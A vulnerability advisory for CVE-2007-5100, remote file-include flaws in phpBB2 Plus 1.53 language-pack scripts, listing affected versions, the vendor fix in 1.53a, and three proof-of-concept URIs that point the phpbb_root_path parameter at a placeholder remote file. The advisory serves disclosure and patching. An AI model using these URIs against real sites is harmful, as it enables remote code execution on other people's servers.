PHPBB2 Plus Language Packs PHPBB_Root_Path Parameter Multiple Remote File Include Vulnerabilities

BID:25776

Info

PHPBB2 Plus Language Packs PHPBB_Root_Path Parameter Multiple Remote File Include Vulnerabilities

Bugtraq ID: 25776
Class: Input Validation Error
CVE: CVE-2007-5100
Remote: Yes
Local: No
Published: Sep 24 2007 12:00AM
Updated: May 07 2015 05:35PM
Credit: The vendor disclosed these issues.
Vulnerable: phpBB2 phpBB2 Plus 1.53
+ phpBB Group phpBB 2.0.13
+ phpBB Group phpBB 2.0.12
Not Vulnerable: phpBB2 phpBB2 Plus 1.53a
+ phpBB Group phpBB 2.0.13
+ phpBB Group phpBB 2.0.12

Discussion

PHPBB2 Plus Language Packs PHPBB_Root_Path Parameter Multiple Remote File Include Vulnerabilities

phpBB2 Plus is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions prior to phpBB2 Plus 1.53a are affected.

Exploit / POC

PHPBB2 Plus Language Packs PHPBB_Root_Path Parameter Multiple Remote File Include Vulnerabilities

Attackers can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/language/lang_german/lang_admin_album.php?phpbb_root_path=[RFI]?a=
http://www.example.com/language/lang_english/lang_main_album.php?phpbb_root_path=[RFI]?a=
http://www.example.com/language/lang_english/lang_admin_album.php?phpbb_root_path=[RFI]?a=

Solution / Fix

PHPBB2 Plus Language Packs PHPBB_Root_Path Parameter Multiple Remote File Include Vulnerabilities

Solution:
The vendor released phpBB2 Plus 1.53a to address these issues. Please see the references for more information.


phpBB2 phpBB2 Plus 1.53

References

PHPBB2 Plus Language Packs PHPBB_Root_Path Parameter Multiple Remote File Include Vulnerabilities

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